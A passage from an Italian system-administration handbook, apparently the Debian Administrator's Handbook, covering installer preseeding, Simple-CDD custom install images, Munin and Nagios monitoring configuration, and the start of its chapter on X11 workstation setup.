dalla rete; la preconfigurazione in questo caso avviene solo dopo che la rete è (automaticamente) configurata; il parametro di avvio relativo è allora preseed/url=http://server/preseed.cfg (non sono supportati: HTTPS, FTPS, SFTP, ecc.).

A prima vista, includere il file di preimpostazione nell'initrd sembra la soluzione più interessante; tuttavia, è raramente usata in pratica perché generare un initrd per l'installatore è piuttosto complesso. Le altre due soluzioni sono molto più comuni, soprattutto dal momento che i parametri di avvio forniscono un altro modo per preimpostare le risposte alle prime domande del processo di installazione. Il modo consueto di risparmiare la fatica di scrivere questi parametri di avvio a mano a ogni installazione è di salvarli nella configurazione di isolinux (nel caso di un CD-ROM) or syslinux (nel caso di una chiave USB).

12.3.2.2. Creare un file di preimpostazione

Un file di preimpostazione è un file di testo semplice in cui ogni riga contiene la risposta a una domanda di Debconf. Una linea è divisa in quattro campi separati da spazi vuoti (spazi o tabulazioni) come, ad esempio, d-i mirror/suite string stable:

il primo campo è il "proprietario" della domanda; "d-i" viene usato per domande relative all'installatore, ma può anche essere il nome di un pacchetto per domande provenienti da pacchetti Debian;

il secondo campo è un identificatore per la domanda (il nome del modello);

terzo, il tipo di domanda;

il quarto e ultimo campo contiene il valore della risposta. Notare che deve essere separato dal terzo campo con uno spazio singolo, se vi sono più di uno, i seguenti spazi sono considerati parte del valore.

Il modo più semplice per scrivere un file di preimpostazione è di installare un sistema a mano. Quindi debconf-get-selections --installer fornirà le risposte riguardanti l'installatore. Le risposte riguardo altri pacchetti si possono ottenere con debconf-get-selections. Tuttavia, una soluzione più pulita è di scrivere il file di preimpostazione a mano, a partire da un esempio e dalla documentazione di riferimento: con questo approccio, si possono preimpostare solo le domande a cui bisogna modificare le risposte predefinite; il parametro priority=critical dirà a Debconf di porre solo domande critiche e usare la risposta predefinita per le altre.

Preconfigurare un valore in un file di preconfigurazione istruisce automaticamente l'installatore Debian a non porre questa domanda. Questo succede perché caricare il file di preconfigurazione non imposta soltanto il(i) valore(i) dato(i), ma imposta ogni finestra di dialogo come "vista" dall'utente. È quindi possibile preimpostare il valore di una domanda, ma comunque presentare la finestra di dialogo all'utente resettando il flag "visto". Fare attenzione che l'ordine è importante in questo caso e che il valore deve essere preimpostato prima di impostare la finestra di dialogo a "non vista", come mostrato nel seguente esempio:

d-i netcfg/hostname string worker d-i netcfg/hostname seen false

DOCUMENTAZIONE Appendice alla guida di installazione

La guida di installazione, disponibile in linea, include in un'appendice la documentazione dettagliata sull'uso di un file di preconfigurazione. Inoltre, include un file di esempio dettagliato e commentato, che può servire come base per personalizzazioni locali. Ci sono anche raccolte di tutti i modelli debconf estratti da ogni componente della suite di Debian:

→ https://www.debian.org/releases/stable/amd64/apb

→ https://www.debian.org/releases/stable/example-preseed.txt

→ https://preseed.debian.net/

Preconfigurare un'installazione non è spesso così semplice come si vorrebbe. Alcune volte è necessario capire come i pacchetti elaborano il valore indicato nei loro script. Se si ha bisogno di aiuto non esitare a chiederlo sulla mailing list <debian-cd@lists.debian.org> o sul canale IRC #debian-cd. Inoltre si tenga presente che alcune configurazioni complesse non possono ancora essere realizzate tramite preconfigurazione.

12.3.2.3. Creare un supporto di avvio personalizzato

Sapere dove memorizzare il file di preimpostazione è cosa buona e giusta, ma la posizione non è tutto; in un modo o nell'altro, bisogna alterare il supporto di avvio dell'installazione per cambiare i parametri di avvio e aggiungere il file di preimpostazione.

12.3.2.3.1. Avviare dalla rete

Quando un computer è avviato dalla rete, il server che manda gli elementi di inizializzazione definisce anche i parametri di avvio. Pertanto, la modifica deve essere fatta nella configurazione di PXE per l'avvio del server; più specificamente, nel suo file di configurazione /tftpboot/pxelinux.cfg/default. Impostare l'avvio dalla rete è un prerequisito; vedere la Guida all'installazione per i dettagli.

→ https://www.debian.org/releases/stable/amd64/ch04s05

12.3.2.3.2. Preparare una chiavetta USB avviabile

Una volta preparata una chiavetta USB avviabile (vedere Sezione 4.1.2, «Avviare da una chiavetta USB»), sono necessarie alcune operazioni aggiuntive. Supponendo che il suo contenuto sia disponibili in /media/usbdisk/, copiate il file preseed in /media/usbdisk/preseed.cfg.

Se si sta utilizzando un'immagine ISO ibrida per creare la chiavetta USB avviabile, allora bisogna modificare /media/usbdisk/boot/grub/grub.cfg (per la schermata di avvio EFI):

Esempio 12.2. file boot/grub/grub.cfg e parametri di preconfigurazione

menuentry --hotkey=i 'Install' { set background_color=black linux /install.amd/vmlinuz preseed/file=/cdrom/preseed.cfg locale=en_US.UTF-8 keymap=us language=us country=US vga=788 --- quiet initrd /install.amd/initrd.gz }

E si deve modificare /media/usbdisk/isolinux/isolinux.cfg (per l'avvio da BIOS) o uno dei file che utilizza - ad esempio /media/usbdisk/isolinux/txt.cfg - per aggiungere i parametri di avvio richiesti:

Esempio 12.3. file isolinux/txt.cfg e parametri di preconfigurazione

label install menu label ^Install kernel [...] append preseed/file=/cdrom/preseed.cfg locale=en_US.UTF-8 keymap=us language=us country=US vga=788 initrd=/install.amd/initrd.gz --- quiet

Se si è utilizzata l'immagine del programma di installazione hd-media per una chiavetta USB personalizzata, modificare /media/usbdisk/syslinux.cfg e aggiungere i parametri di avvio richiesti come mostrato nel seguente esempio:

Esempio 12.4. file syslinux.cfg e parametri di preimpostazione

default vmlinuz append preseed/file=/hd-media/preseed.cfg locale=en_US.UTF-8 keymap=us language=us country=US vga=788 initrd=initrd.gz --

12.3.2.3.3. Creare un'immagine CD-ROM

Una chiave USB è un supporto leggibile e scrivibile, quindi è stato facile aggiungervi un file e cambiare alcuni parametri. Nel caso di un CD-ROM, l'operazione è più complessa, dal momento che si deve rigenerare un'immagine ISO completa. Questo compito è gestito da debian-cd, ma questo strumento è piuttosto scomodo da usare: ha bisogno di un mirror locale e richiede una comprensione di tutte le opzioni fornite da /usr/share/debian-cd/CONF.sh; anche così, bisogna invocare make più volte. Pertanto si raccomanda vivamente di leggere /usr/share/debian-cd/README.

Detto questo, debian-cd opera sempre in un modo simile: viene generata una directory "immagine" con l'esatto contenuto del CD-ROM, quindi convertita in un file ISO con uno strumento come genisoimage, mkisofs o xorriso. La directory dell'immagine viene completata dopo il passaggio make image-trees di debian-cd. A quel punto, si inserisce il file di preconfigurazione nella directory appropriata (di solito $TDIR/$CODENAME/CD1/, dove $TDIR è uno dei parametri definiti dal file di configurazione CONF.sh). Il CD-ROM usa isolinux come bootloader ed il suo file di configurazione dev'essere adattato partendo da quello generato da debian-cd, per poter inserire i parametri di avvio richiesti (i file specifici sono $TDIR/$CODENAME/CD1/isolinux/isolinux.cfg e $TDIR/$CODENAME/CD1/boot/grub/grub.cfg come mostrato sopra). Quindi si può riprendere il "normale" processo generando l'immagine ISO con make image CD=1 (o make images se si generano più CD-ROM).

12.3.3. Simple-CDD: la soluzione completa

Usare semplicemente un file di preimpostazione non basta per soddisfare tutti i requisiti che possono verificarsi per allestimenti su larga scala. Anche se è possibile eseguire alcuni script alla fine del normale processo di installazione, la selezione dell'insieme di pacchetti da installare non è ancora molto flessibile (fondamentalmente si possono scegliere solo "task"); cosa più importante, ciò permette di installare solo pacchetti Debian ufficiali e preclude quelli generati localmente.

D'altro canto, debian-cd è in grado di integrare pacchetti esterni e debian-installer può essere esteso inserendo nuovi passi nel processo di installazione. Combinando queste capacità, dovrebbe essere possibile creare un installatore personalizzato che soddisfi ogni necessità e sia perfino in grado di configurare alcuni servizi dopo aver spacchettato i pacchetti richiesti. Per fortuna questa non è solo un'ipotesi, dal momento che è proprio ciò che fa simple-cdd.

Lo scopo di questo strumento è di consentire a chiunque di creare facilmente una distribuzione derivata da Debian, scegliendo un sottoinsieme dei pacchetti disponibili, preconfigurandoli con Debconf, aggiungendo software specifico ed eseguendo script personalizzati alla fine del processo di installazione. Questo segue la filosofia del "sistema operativo universale", visto che chiunque può adattarlo ai propri bisogni.

12.3.3.1. Creare profili

Simple-CDD definisce "profili" che corrispondono al concetto di "classi" in FAI e una macchina può avere diversi profili (determinati al momento dell'installazione). Un profilo è definito da un insieme di file profiles/profilo.*:

il file .description contiene una descrizione di una riga del profilo;

il file .packages elenca i pacchetti che saranno automaticamente installati se il profilo viene scelto;

il file .downloads elenca i pacchetti che verranno memorizzati sul supporto di installazione, ma non necessariamente installati;

il file .preseed contiene informazioni di preimpostazione per le domande di Debconf (per l'installatore e/o per i pacchetti);

il file .postinst contiene uno script che sarà eseguito al termine del processo di installazione;

infine, il file .conf permette di cambiare alcuni parametri in base ai profili da includere in un'immagine.

Il profilo default ha un ruolo particolare, dal momento che è sempre selezionato; contiene il minimo indispensabile richiesto perché Simple-CDD funzioni. L'unica cosa personalizzata di solito in questo profilo è il parametro di preimpostazione simple-cdd/profiles: questo permette di evitare la domanda, introdotta da Simple-CDD, su quali profili installare.

Notare inoltre che i comandi dovranno essere invocati dalla directory madre della directory profiles.

12.3.3.2. Configurare e usare build-simple-cdd

SGUARDO VELOCE File di configurazione dettagliato

Un esempio di un file di configurazione di Simple-CDD, con la maggior parte dei parametri possibili, è incluso nel pacchetto (/usr/share/doc/simple-cdd/examples/simple-cdd.conf.detailed). Questo può essere usato come punto di partenza per creare un file di configurazione personalizzato. Sfortunatamente non tutto è qui documentato, alcune variabili sono elencate e spiegate solamente in /usr/lib/python3/dist-packages/simple_cdd/variables.py.

È inoltre importante familiarizzare con le variabili comprese da /usr/share/debian-cd/CONF.sh.

Simple-CDD richiede molti parametri per operare appieno. Questi verranno perlopiù riuniti in un file di configurazione, a cui si può far puntare build-simple-cdd con l'opzione --conf, ma possono anche essere specificati tramite parametri dedicati dati a build-simple-cdd. Ecco una panoramica di come si comporta questo comando e di come i suoi parametri vengono usati:

il parametro profiles elenca i profili che saranno inclusi nell'immagine CD-ROM generata;

in base alla lista dei pacchetti richiesti, Simple-CDD scarica i file appropriati dal server menzionato in server e li riunisce in un mirror parziale (che in seguito sarà dato a debian-cd);

i pacchetti personalizzati menzionati in local_packages sono anch'essi integrati in questo mirror locale;

quindi viene eseguito debian cd (da una posizione predefinita che può essere configurata con la variabile debian_cd_dir), con la lista dei pacchetti da integrare;

una volta che debian-cd ha preparato la sua directory, simple-CDD applica alcuni cambiamenti a questa directory:

i file contenenti i profili sono aggiunti in una sottodirectory simple-cdd (che sarà inclusa nel CD-ROM);

altri file elencati nel parametro all_extras sono aggiunti anch'essi;

i parametri di avvio sono regolati per abilitare la preimpostazione. Si possono evitare le domande su lingua e nazione se l'informazione richiesta è memorizzata nelle variabili language e country.

quindi debian-cd genera l'immagine ISO finale.

12.3.3.3. Generare un'immagine ISO

Una volta scritto un file di configurazione e definiti i profili, il passo rimanente è invocare build-simple-cdd --conf simple-cdd.conf. Dopo pochi minuti, si ottiene l'immagine richiesta in images/debian-11-amd64-CD-1.iso.

12.4. Monitoraggio

Monitoraggio è un termine generico, e le diverse attività implicate hanno diversi scopi: da una parte, seguire l'uso delle risorse fornite da una macchina permette di prevedere la saturazione e i conseguenti aggiornamenti richiesti; dall'altra, avvisare l'amministratore appena un servizio è indisponibile o non funziona correttamente significa che il problema può essere risolto più celermente.

Munin copre la prima area, visualizzando diagrammi grafici per i valori storici di un certo numero di parametri (RAM usata, spazio disco occupato, carico del processore, traffico di rete, carico di Apache/MySQL e così via). Nagios copre la seconda area, controllando regolarmente che i servizi siano funzionanti e disponibili e inviando avvisi tramite i canali appropriati (email, messaggi di testo e così via). Entrambi hanno una struttura modulare, il che rende facile creare nuovi plugin per monitorare specifici parametri o servizi.

ALTERNATIVA Zabbix, uno strumento integrato di monitoraggio

Sebbene Munin e Nagios siano comunemente molto usati, non sono gli unici attori nel campo del monitoraggio, e ciascuno di loro gestisce solo metà del compito (creare grafici da un lato, avvisare dall'altro). Zabbix, d'altra parte, integra entrambe le parti del monitoraggio; ha anche un'interfaccia web per configurare gli aspetti più comuni. Negli ultimi anni ha fatto grandi passi in avanti e si può ora considerare un concorrente all'altezza. Sul server di monitoraggio, si dovrebbe installarezabbix-server-pgsql (o zabbix-server-mysql), eventualmente insieme ad zabbix-frontend-php per avere un'interfaccia web. Sugli host da controllare si dovrebbe installare zabbix-agent per inviare i dati al server.

→ https://zabbix.com/

ALTERNATIVE Icinga, un fork di Nagios

Spinti da divergenze sulle opinioni riguardo il modello di sviluppo per Nagios (che è controllato da un'azienda), alcuni sviluppatori hanno fatto un fork di Nagios e usano Icinga come nuovo nome. Icinga, per ora, è ancora compatibile con le configurazioni e i plugin di Nagios, ma aggiunge anche ulteriori funzionalità.

→ https://www.icinga.orgcom/

12.4.1. Impostazione di Munin

Lo scopo di Munin è di monitorare molte macchine; è quindi assai naturale che usi un'architettura client/server. L'host centrale, il graficatore, raccoglie dati da tutti gli host monitorari e genera grafici storici.

12.4.1.1. Configurare gli host da monitorare

Il primo passo è installare il pacchetto munin-node. Il demone installato da questo pacchetto ascolta sulla porta 4949 e rimanda i dati raccolti da tutti i plugin attivi. Ciascun plugin è un semplice programma che restituisce una descrizione dei dati raccolti insieme all'ultimo valore misurato. I plugin sono memorizzati in /usr/share/munin/plugins/, ma solo quelli con un collegamento simbolico in /etc/munin/plugins/ vengono effettivamente usati.

Quando il pacchetto è installato, un insieme di plugin attivi è determinato in base al software disponibile e alla configurazione attuale dell'host. Tuttavia, questa autoconfigurazione dipende da una funzionalità che ogni plugin deve fornire ed è normalmente una buona idea rivedere e adattare i risultati manualmente. Sfogliare la galleria dei plugin può essere interessante anche se non tutti i plugin sono correlati con documentazione completa.

→ https://gallery.munin-monitoring.org

Tuttavia, tutti i plugin sono script e la maggior parte di essi sono piuttosto semplici e ben commentati. Sfogliare /etc/munin/plugins/ è perciò un buon modo per avere un'idea di cosa si occupa ciascun plugin e determinare quali debbano essere rimossi. Allo stesso modo, abilitare un plugin interessante trovato in /usr/share/munin/plugins/ si riduce a impostare un collegamento simbolico con ln -sf /usr/share/munin/plugins/plugin /etc/munin/plugins/. Notare che quando il nome di un plugin termina con una sottolineatura "_", il plugin richiede un parametro che deve essere memorizzato nel nome del collegamento simbolico; per esempio, il plugin "if_" deve essere abilitato con un collegamento simbolico if_eth0, e monitorerà il traffico di rete sull'interfaccia eth0.

Una volta impostati correttamente tutti i plugin, si deve aggiornare la configurazione del demone per descrivere il controllo dell'accesso ai dati raccolti. Questo richiede delle direttive allow nel file /etc/munin/munin-node.conf. La configurazione predefinita è allow ^127\.0\.0\.1$ e permette accesso solo all'host locale. Un amministratore di solito aggiungerà una riga simile contenente l'indirizzo IP dell'host graficatore, quindi riavvierà il demone con systemctl restart munin-node.

APPROFONDIMENTO Creare plugin locali

Munin include una dettagliata documentazione su come i plugin dovrebbero comportarsi, e come sviluppare nuovi plugin.

→ https://guide.munin-monitoring.org/en/latest/plugin/writing.html

Un plugin si collauda meglio quando viene avviato nelle stesse condizioni in cui si troverebbe se fosse attivato da munin-node; ciò si può simulare lanciando munin-run plugin da root. Un potenziale secondo parametro (come config) viene passato al plugin come parametro.

Quando un plugin è invocato con il parametro config, deve descriversi restituendo un insieme di campi:

# munin-run load config graph_title Load average graph_args --base 1000 -l 0 graph_vlabel load graph_scale no graph_category system load.label load graph_info The load average of the machine describes how many processes are in the run-queue (scheduled to run "immediately"). load.info 5 minute load average

I diversi campi disponibili sono descritti dal “Plugin reference” disponibile come parte della “guida Munin”.

→ https://munin.readthedocs.org/en/latest/reference/plugin.html

Quando viene invocato senza un parametro, il plugin restituisce semplicemente gli ultimi valori misurati; per esempio, l'esecuzione di sudo munin-run load può restituire load.value 0.12.

Infine, quando un plugin viene invocato con il parametro autoconf, deve restituire "yes" (e uno stato di uscita 0) o "no" (con uno stato di uscita 1) a seconda se il plugin deve essere abilitato o meno sull'host.

12.4.1.2. Configurare il graficatore

Il "grapher" è semplicemente il computer che aggrega i dati e genera i grafici corrispondenti. Il software richiesto si trova nel pacchetto munin. La configurazione standard esegue munin-cron (una volta ogni 5 minuti), che raccoglie i dati da tutti gli host elencati in /etc/munin/munin.conf (solo l'host locale è elencato in modo predefinito), salva i dati storici in file RRD (Round Robin Database, un formato di file progettato per memorizzare dati variabili nel tempo) memorizzati sotto /var/lib/munin/ e genera una pagina HTML con i grafici in /var/cache/munin/www/.

Tutte le macchine monitorate devono quindi essere elencate nel file di configurazione /etc/munin/munin.conf. Ciascuna macchina è elencata come una sezione completa con un nome che corrisponde alla macchina e almeno una voce address che dà il corrispondente indirizzo IP.

[ftp.falcot.com] address 192.168.0.12 use_node_name yes

Le sezioni possono essere più complesse e descrivere ulteriori grafici che possono essere creati combinando dati provenienti da diverse macchine. Gli esempi forniti nel file di configurazione sono dei buoni punti di partenza per la personalizzazione.

L'ultimo passo è pubblicare le pagine generate; questo richiede di configurare un server web in modo che i contenuti di /var/cache/munin/www/ siano resi disponibili su un sito web. L'accesso a questo sito web sarà spesso ristretto, usando un meccanismo di autenticazione o un controllo di accesso basato sull'IP. Vedere Sezione 11.2, «Server web (HTTP)» per i dettagli relativi.

12.4.2. Impostazione di Nagios

Contrariamente a Munin, Nagios non richiede necessariamente di installare alcunché sugli host monitorati; la maggior parte delle volte, Nagios viene usato per controllare la disponibilità dei servizi di rete. Per esempio, Nagios può connettersi a un sito web e controllare che una data pagina web possa essere ottenuta entro un certo tempo.

12.4.2.1. Installazione

Il primo passo per configurare Nagios è di installare i pacchetti nagios4 e monitoring-plugins. Installando i pacchetti, configurando l'interfaccia web e il server Apache. I moduli Apache authz_groupfile e auth_digest devono essere abilitati, per fare questo eseguire:

# a2enmod authz_groupfile Considering dependency authz_core for authz_groupfile: Module authz_core already enabled Module authz_core already enabled Enabling module authz_groupfile. To activate the new configuration, you need to run: systemctl restart apache2 # a2enmod auth_digest Considering dependency authn_core for auth_digest: Module authn_core already enabled Enabling module auth_digest. To activate the new configuration, you need to run: systemctl restart apache2 # systemctl restart apache2

Per aggiungere nuovi utenti è sufficiente inserirli nel file /etc/nagios4/hdigest.users.

Visitando http://server/nagios4/ con un navigatore viene visualizzata l'interfaccia web; in particolare, notare che Nagios monitora già alcuni parametri della macchina su cui gira. Tuttavia, alcune funzionalità interattive come l'aggiunta di commenti per un host non funzionano. Queste funzionalità sono disabilitate nella configurazione predefinita di Nagios, che è molto restrittiva, per ragioni di sicurezza.

L'abilitazione di alcune funzionalità richiede la modifica di /etc/nagios3/nagios.cfg. Bisogna anche impostare i permessi in scrittura per la directory usata da Nagios, con comandi come i seguenti:

# systemctl stop nagios4 # dpkg-statoverride --update --add nagios www-data 2710 /var/lib/nagios4/rw # dpkg-statoverride --update --add nagios nagios 751 /var/lib/nagios4 # systemctl start nagios4

12.4.2.2. Configurazione

L'interfaccia web di Nagios è abbastanza carina, ma non permette la configurazione né può essere usata per aggiungere host e servizi da monitorare. L'intera configurazione viene gestita tramite file indicati nel file di configurazione centrale, /etc/nagios4/nagios.cfg.

Questi file non dovrebbero essere studiati senza una qualche comprensione dei concetti alla base di Nagios. La configurazione elenca oggetti dei seguenti tipi:

un host è una macchina da monitorare;

un hostgroup è un insieme di host che dovrebbero essere raggruppati insieme per la visualizzazione o per sfruttare elementi comuni di configurazione;

un service è un elemento controllabile relativo a un host o a un gruppo di host. Molto spesso sarà un controllo di un servizio di rete, ma può anche richiedere di controllare che certi parametri siano all'interno di un intervallo accettabile (per esempio, lo spazio libero sul disco o il carico del processore);

un servicegroup è un insieme di servizi che dovrebbero essere raggruppati insieme per la visualizzazione;

un contact è una persona che può ricevere avvisi;

un contactgroup è un insieme di tali contatti;

un timeperiod è un intervallo di tempo durante il quale alcuni servizi devono essere controllati;

un command è la riga di comando invocata per controllare un dato servizio.

Secondo il suo tipo, ciascun oggetto ha un certo numero di proprietà che possono essere personalizzate. Una lista completa sarebbe troppo lunga da includere, ma le proprietà più importanti sono le relazioni fra gli oggetti.

Un service usa un command per controllare lo stato di una funzionalità su un host (o un hostgroup) entro un timeperiod. In caso di problema, Nagios manda un avviso a tutti i membri del contactgroup collegato al servizio. Ciascun membro riceve l'avviso a seconda del canale descritto nell'oggetto contact corrispondente.

Un sistema di ereditarietà permette di condividere facilmente un insieme di proprietà fra molti oggetti senza duplicare informazioni. Inoltre, la configurazione iniziale include un certo numero di oggetti standard; in molti casi, definire nuovi host, servizi e contatti è una semplice derivazione dagli oggetti generici forniti. I file in /etc/nagios4/conf.d/ sono una buona fonte di informazione sul loro funzionamento.

Gli amministratori della Falcot Corp usano la seguente configurazione:

Esempio 12.5. file /etc/nagios4/conf.d/falcot.cfg

define contact{ name generic-contact service_notification_period 24x7 host_notification_period 24x7 service_notification_options w,u,c,r host_notification_options d,u,r service_notification_commands notify-service-by-email host_notification_commands notify-host-by-email register 0 ; Template only } define contact{ use generic-contact contact_name rhertzog alias Raphael Hertzog email hertzog@debian.org } define contact{ use generic-contact contact_name rmas alias Roland Mas email lolando@debian.org } define contactgroup{ contactgroup_name falcot-admins alias Falcot Administrators members rhertzog,rmas } define host{ use generic-host ; Name of host template to use host_name www-host alias www.falcot.com address 192.168.0.5 contact_groups falcot-admins hostgroups debian-servers,ssh-servers } define host{ use generic-host ; Name of host template to use host_name ftp-host alias ftp.falcot.com address 192.168.0.12 contact_groups falcot-admins hostgroups debian-servers,ssh-servers } # 'check_ftp' command with custom parameters define command{ command_name check_ftp2 command_line /usr/lib/nagios/plugins/check_ftp -H $HOSTADDRESS$ -w 20 -c 30 -t 35 } # Generic Falcot service define service{ name falcot-service use generic-service contact_groups falcot-admins register 0 } # Services to check on www-host define service{ use falcot-service host_name www-host service_description HTTP check_command check_http } define service{ use falcot-service host_name www-host service_description HTTPS check_command check_https } define service{ use falcot-service host_name www-host service_description SMTP check_command check_smtp } # Services to check on ftp-host define service{ use falcot-service host_name ftp-host service_description FTP check_command check_ftp2 }

Questo file di configurazione descrive due host monitorati. Il primo è il server web, ed i controlli sono fatti sulle porte HTTP (80) e HTTP sicuro (443). Nagios controlla inoltre che sulla porta 25 giri un server SMTP. Il secondo host è un server FTP, e il controllo include di accertarsi che arrivi una risposta entro 20 secondi. Oltre questo ritardo, viene emesso un warning; oltre i 30 secondi, l'avviso è considerato critico. L'interfaccia web di Nagios mostra anche che il servizio SSH è monitorato: ciò è determinato dagli host che appartengono all'hostgroup ssh-servers. Il servizio standard corrispondente è definito in /etc/nagios4/conf.d/services_nagios2.cfg.

Notare l'uso dell'ereditarietà: un oggetto eredita da un altro oggetto tramite "use nome-genitore". L'oggetto genitore deve essere identificabile, ovvero richiede una proprietà "name identificatore". Se l'oggetto genitore non deve essere un oggetto reale, ma deve solo servire da genitore, una proprietà "register 0" dice a Nagios di non considerarlo e quindi di ignorare l'assenza di alcuni parametri che altrimenti sarebbero richiesti.

DOCUMENTAZIONE Elenco delle proprietà degli oggetti

Si può avere una comprensione più approfondita dei vari modi in cui si può configurare Nagios leggendo la documentazione ospitata su https://assets.nagios.com/downloads/nagioscore/docs/nagioscore/4/en/. Include una lista di tutti i tipi di oggetto, con tutte le proprietà che possono avere. Inoltre spiega come creare nuovi plugin.

APPROFONDIMENTO Test a distanza con NRPE

Molti plugin di Nagios permettono di controllare alcuni parametri locali di un host; se molte macchine hanno bisogno di questi controlli con un'installazione centrale che li riunisca, bisogna installare il plugin NRPE (Nagios Remote Plugin Executor). Bisogna installare il pacchetto nagios-nrpe-plugin sul server Nagios e nagios-nrpe-server sugli host in cui bisogna eseguire i controlli locali. Quest'ultimo riceve la sua configurazione da /etc/nagios/nrpe.cfg. Questo file deve elencare i controlli che possono essere avviati da remoto e gli indirizzi IP delle macchine autorizzate ad attivarli. Dalla parte di Nagios, abilitare questi controlli remoti si riduce semplicemente ad aggiungere i servizi corrispondenti usando il nuovo comando check_nrpe.

Capitolo 13. Postazione di lavoro

Ora che i server sono stati allestiti, gli amministratori possono dedicarsi a installare le singole postazioni di lavoro e creare una configurazione tipica.

13.1. Configurazione del server X11

Un breve promemoria: X.org è la componente software che consente alle applicazioni grafiche di mostrare le finestre sullo schermo. Include un driver che usa in modo efficiente la scheda video. Le funzionalità offerte alle applicazioni grafiche sono esportate tramite un'interfaccia standard, X11 (Bullseye contiene la versione X11R7.7).

IN PROSPETTIVA X11, XFree86 e X.org

X11 è il sistema grafico usato più comunemente sul sistemi di tipo Unix (disponibile anche per Windows e Mac OS). In senso stretto, il termine "X11" si riferisce solo a una specifica del protocollo, ma è anche usato per riferirsi all'implementazione pratica.

X11 ha avuto un inizio difficile, ma gli anni '90 hanno visto emergere XFree86 come implementazione di riferimento perché era software libero, portabile e mantenuto da una comunità collaborativa. Tuttavia, il tasso di evoluzione rallentò verso la fine, quando il software acquisì solo nuovi driver. Nel 2004 quella situazione, insieme ad un cambio di licenza molto controverso, ha portato al fork X.org. Questa è attualmente l'implementazione di riferimento, e Debian Bullseye usa X.org versione 7.7.

Le attuali versioni di X.org sono in grado di rilevare automaticamente l'hardware disponibile: questo vale per la scheda video ed il monitor, come per la tastiera ed il mouse; in effetti, è così comodo che il pacchetto non crea nemmeno più un file di configurazione /etc/X11/xorg.conf.

La configurazione della tastiera è attualmente impostata in /etc/default/keyboard. Questo file è usato per configurare sia la console testuale sia l'interfaccia grafica, ed è gestito dal pacchetto keyboard-configuration. Dettagli sulla configurazione della disposizione della tastiera sono disponibili in Sezione 8.1.2, «Configurare la tastiera».

Il pacchetto xserver-xorg-core fornisce un server X generico, come usato dalle versioni 7.x di X.org. Questo server è modulare e usa un insieme di driver indipendenti per gestire i molti diversi tipi di schede video. L'installazione di xserver-xorg assicura che sia il server che almeno un driver video siano installati.

Notare che se la scheda video rilevata non è gestita da nessuno dei driver disponibili, X.org cerca di usare i driver vesa e fbdev. VESA è un driver generico che dovrebbe funzionare ovunque, ma con capacità limitate (meno risoluzioni disponibili, nessuna accelerazione hardware nè per i giochi nè per gli effetti visuali per il desktop e così via) mentre fbdev lavora al di sopra del dispositivo framebuffer del kernel. Oggigiorno il server X può essere eseguito senza alcun privilegio amministrativo (prima necessario per essere in grado di configurare lo schermo) ed il suo file di log è memorizzato nella directory home dell'utente in ~/.local/share/xorg/Xorg.0.log, ed in /var/log/Xorg.0.log qualora il server X venga avviato con privilegi di root o per le versioni precedenti a Debian 9 Stretch. Quel file di log è dove potremmo guardare per sapere quale driver è attualmente in uso. Per esempio, il seguente frammento corrisponde a ciò che il driver intel produce quando viene caricato:

(==) Matched nouveau as autoconfigured driver 0 (==) Matched modesetting as autoconfigured driver 1 (==) Matched fbdev as autoconfigured driver 2 (==) Matched vesa as autoconfigured driver 3 (==) Assigned the driver to the xf86ConfigLayout (II) LoadModule: "intel" (II) Loading /usr/lib/xorg/modules/drivers/intel_drv.so (II) Module intel: vendor="X.Org Foundation"

EXTRA Driver proprietari

Alcuni produttori di schede video (principalmente NVIDIA) si rifiutano di pubblicare le specifiche hardware richieste per implementare dei buoni driver liberi. Tuttavia questi forniscono driver proprietari che permettono di usare il loro hardware. Questa politica è pessima perché, anche quando il driver fornito esiste, di solito non è sofisticato come dovrebbe essere; cosa più importante, non segue necessariamente gli aggiornamenti di X.org, il che potrebbe impedire di caricare correttamente (o del tutto) l'ultimo driver disponibile. Tale comportamento non è scusabile e si raccomanda di evitare questi produttori e favorire aziende più cooperative.

Se comunque ci si trova in possesso di tale scheda, si possono trovare i pacchetti richiesti nella sezione non-free: nvidia-driver per le schede NVIDIA. Servirà il corrispondente modulo del kernel. La compilazione del modulo può essere automatizzata installando i pacchetti nvidia-kernel-dkms (per NVIDIA).

Il progetto nouveau mira a sviluppare un driver per le schede NVIDIA che sia software libero ed è il driver predefinito che si ottiene per tali schede in Debian. In generale, il suo set di funzionalità e le prestazioni non eguagliano quelle del driver proprietario. In difesa degli sviluppatori, dovremmo menzionare che le informazioni necessarie possono essere raccolte solo tramite reverse engineering, il che rende le cose difficili. I driver liberi per le schede video ATI, chiamati radeon e amdgpu, sono migliori da questo punto di vista, anche se spesso richiedono firmware non liberi dal pacchetto firmware-amd-graphics.

13.2. Personalizzazione dell'interfaccia grafica

13.2.1. Scelta di un display manager

L'interfaccia grafica fornisce solo uno spazio per la visualizzazione. Far girare il server X da solo porta soltanto ad uno schermo vuoto, che è il motivo per cui la maggior parte delle installazioni usano un display manager per visualizzare la richiesta delle credenziali ed avviare il desktop grafico dopo che l'utente si è autenticato. I tre display manager attualmente più popolari sono gdm3 (GNOME Display Manager), sddm (consigliato per KDE Plasma) e lightdm (Light Display Manager). Esistono ulteriori alternative che possono essere trovate cercando il pacchetto virtuale x-display-manager.

Poiché gli amministratori della Falcon Corp hanno optato per usare l'ambiente desktop GNOME, logicamente hanno scelto anche gdm3 come display manager. Il file di configurazione /etc/gdm3/daemon.conf ha molte opzioni (l'elenco si trova nel file /usr/share/gdm/gdm.schemas) per controllare il suo comportamento mentre /etc/gdm3/greeter.dconf-defaults contiene le impostazioni per la "sessione" di benvenuto (più che una semplice finestra di login, è un desktop limitato con gestione dell'alimentazione e gli strumenti di accessibilità correlati). Si noti che alcune delle impostaziioni più utili per gli utenti finali possono essere modificate attraverso il pannello di controllo di GNOME.

13.2.2. Scelta di un window manager

Dal momento che ogni desktop grafico fornisce il proprio window manager, il gestore di finestre scelto è solitamente influenzato dal desktop selezionato. GNOME usa il window manager mutter, Plasma usa kwin e XFce (che sarà presentato in seguito) ha xfwm. La filosofia Unix permette sempre di usare il proprio window manager preferito, ma seguire le raccomandazioni permette a un amministratore di sfruttare al meglio gli sforzi di integrazione guidati da ciascun progetto.

FONDAMENTALE Window manager

Il window manager visualizza le "decorazioni" intorno alle finestre appartenenti alle applicazioni attualmente in esecuzione, comprese le cornici e la barra del titolo. Inoltre permette di ridurre, ripristinare, massimizzare e nascondere le finestre. Inoltre, la maggior parte dei window manager fornisce un menu che compare quando si fa clic sul desktop in un modo specifico. Questo menu fornisce i mezzi per chiudere la sessione del window manager, avviare nuove applicazioni e, in alcuni casi, passare a un altro window manager (se installato).

